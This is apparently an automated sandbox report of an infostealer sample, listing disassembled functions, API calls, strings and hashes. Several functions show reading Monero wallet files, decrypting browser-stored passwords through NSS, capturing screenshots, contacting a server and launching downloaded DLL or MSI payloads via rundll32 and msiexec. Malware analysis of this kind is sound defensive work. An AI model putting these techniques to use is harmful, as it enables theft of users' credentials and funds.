GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
l, xrefs: 6C664578
kernel32.dll, xrefs: 6C6644CD
Gml, xrefs: 6C6644FC
NativeNtBlockSet_Write, xrefs: 6C6646F7

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 005EC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 005EC9A5

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0164C970,00000000,?,0060144C,00000000,?,?), ref: 005ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 005ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005ECAD9
StrStrA.SHLWAPI(?,0164C988,00600B52), ref: 005ECAF7
StrStrA.SHLWAPI(00000000,0164CA90), ref: 005ECB1E
StrStrA.SHLWAPI(?,0164D778,00000000,?,00601458,00000000,?,00000000,00000000,?,01648930,00000000,?,00601454,00000000,?), ref: 005ECCA2
StrStrA.SHLWAPI(00000000,0164D5D8), ref: 005ECCB9

Part of subcall function 005EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005EC871
Part of subcall function 005EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005EC87C
Part of subcall function 005EC820: PK11_GetInternalKeySlot.NSS3 ref: 005EC88A
Part of subcall function 005EC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005EC8A5
Part of subcall function 005EC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005EC8EB
Part of subcall function 005EC820: PK11_FreeSlot.NSS3(?), ref: 005EC961

StrStrA.SHLWAPI(?,0164D5D8,00000000,?,0060145C,00000000,?,00000000,01648970), ref: 005ECD5A
StrStrA.SHLWAPI(00000000,01648A60), ref: 005ECD71

Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B46), ref: 005EC943
Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B47), ref: 005EC957
Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B4E), ref: 005EC978

lstrlen.KERNEL32(00000000), ref: 005ECE44
CloseHandle.KERNEL32(00000000), ref: 005ECE9C
NSS_Shutdown.NSS3 ref: 005ECEAA

Strings

, xrefs: 005EC9C6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 49d022a26c323b3cadce8e5b8f8378f5026c9a4d610a88f0c7ade69232f734e9
Instruction ID: 5ea04d7f512e8a631aac8d813de259a44398233807d86fec63619708b07c56be
Opcode Fuzzy Hash: 49d022a26c323b3cadce8e5b8f8378f5026c9a4d610a88f0c7ade69232f734e9
Instruction Fuzzy Hash: 24E104B180010DABDB18EBA0DC95FFE7B78BF54340F408169F20A67195DF746A4ACB66

Function 005F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 005F906C

Strings

image/jpeg, xrefs: 005F9136

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b50cd2ee7370cd360ed45973ccd01e1e6ff45b157bc0df7b7775203c5a83512d
Instruction ID: c07430c9261cc9b0ee54fa8931a8a47b2a663f37802cd39fa1d08982690ef35f
Opcode Fuzzy Hash: b50cd2ee7370cd360ed45973ccd01e1e6ff45b157bc0df7b7775203c5a83512d
Instruction Fuzzy Hash: 7571F075910209AFDB18DFE4DC89FEEBBB9BF48700F108518F655A7290DB34A905CB61

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 005F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005F17C5
ExitProcess.KERNEL32 ref: 005F17D1

Strings

block, xrefs: 005F17B7

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 9d046c974bc1a112c0505f6595daa0791948220bb5608a79b3deb3516f25e44e
Instruction ID: fbd680e8a50ceaee90200de2268fe02bbec99c20fccf4f680f320b77e4186830
Opcode Fuzzy Hash: 9d046c974bc1a112c0505f6595daa0791948220bb5608a79b3deb3516f25e44e
Instruction Fuzzy Hash: 655188B4A0020EEFDB04DFA0DA94BBE7BB6BF44704F108458E60667380D7B8D951DB66

Function 005F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

ShellExecuteEx.SHELL32(0000003C), ref: 005F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 005F335D
ShellExecuteEx.SHELL32(0000003C), ref: 005F34EA

Strings

/passive, xrefs: 005F345B
.dll, xrefs: 005F31E5
/i ", xrefs: 005F33E4
.msi, xrefs: 005F3398
C:\Windows\system32\msiexec.exe, xrefs: 005F34BF
C:\Windows\system32\rundll32.exe, xrefs: 005F3332
<, xrefs: 005F3490
"" , xrefs: 005F309A

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: eefa49725d651edb36cc77262d8ff264b8a82a3f2b9c64d99b1d6545f2208eae
Instruction ID: 9dbc6d22e37d93d5588ae2c788cc2cdb729196b8569031053a9826d86bc7970b
Opcode Fuzzy Hash: eefa49725d651edb36cc77262d8ff264b8a82a3f2b9c64d99b1d6545f2208eae
Instruction Fuzzy Hash: D31212B180010E9ADB19EB90CD56FFE7B78BF94340F504159E60A66095EF782B4ACF53

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 005F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E6280: InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
Part of subcall function 005E6280: StrCmpCA.SHLWAPI(?,0164E390), ref: 005E6303
Part of subcall function 005E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
Part of subcall function 005E6280: HttpOpenRequestA.WININET(00000000,GET,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E6385
Part of subcall function 005E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
Part of subcall function 005E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5318
lstrlen.KERNEL32(00000000), ref: 005F532F

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 005F5364
lstrlen.KERNEL32(00000000), ref: 005F5383
lstrlen.KERNEL32(00000000), ref: 005F53AE

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

ERROR, xrefs: 005F546F
ERROR, xrefs: 005F53B9
ERROR, xrefs: 005F5432
ERROR, xrefs: 005F530A
ERROR, xrefs: 005F54A9

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
